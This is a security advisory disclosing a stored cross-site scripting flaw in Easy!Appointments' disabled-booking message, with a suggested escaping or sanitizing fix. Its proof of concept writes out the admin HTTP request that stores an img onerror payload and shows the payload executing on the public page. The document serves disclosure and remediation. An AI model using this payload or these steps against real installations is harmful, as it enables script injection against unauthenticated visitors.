Vulnerability GHSA-996f-334j-67g7

Summary

Easy!Appointments allows administrators to define a custom "booking disabled" message through the booking settings page. That value is stored in the disable_booking_message setting via a rich-text editor and later passed directly to the public booking_message view without escaping or sanitization:

<p><?= vars('message_text') ?></p>

An authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page.

Proof of Concept

Step 1 — Store malicious disabled-booking message as admin:

POST /index.php/booking_settings/save HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <admin-session-cookie>
Content-Type: application/x-www-form-urlencoded
 
csrf_token=<token>&booking_settings[0][name]=disable_booking&booking_settings[0][value]=1&booking_settings[1][name]=disable_booking_message&booking_settings[1][value]=<img src=x onerror=alert("easyappointments xss by ashrexon")>

Response: 200 OK — settings saved successfully

Step 2 — Unauthenticated visitor opens public booking page:

GET / HTTP/1.1
Host: 127.0.0.1:18094
(no authentication)

Observed response fragment:

<p><img src=x onerror=alert("easyappointments xss by ashrexon")></p>

Observed browser behavior:

alert("easyappointments xss by ashrexon") executes immediately on page load with no authentication required. Confirmed via browser screenshot attached as comment.

Runtime verification result:

admin login ok
settings save ok
payload reflected on public page
PASS

Suggested Fix

Escape the message value before rendering in the view:

// application/views/pages/booking_message.php
<p><?= e(vars('message_text')) ?></p>

Alternatively apply a strict HTML sanitizer (allowing only safe formatting tags, no event handlers or script elements) to the disable_booking_message value before storage or before rendering, to preserve intended rich-text formatting while preventing script injection.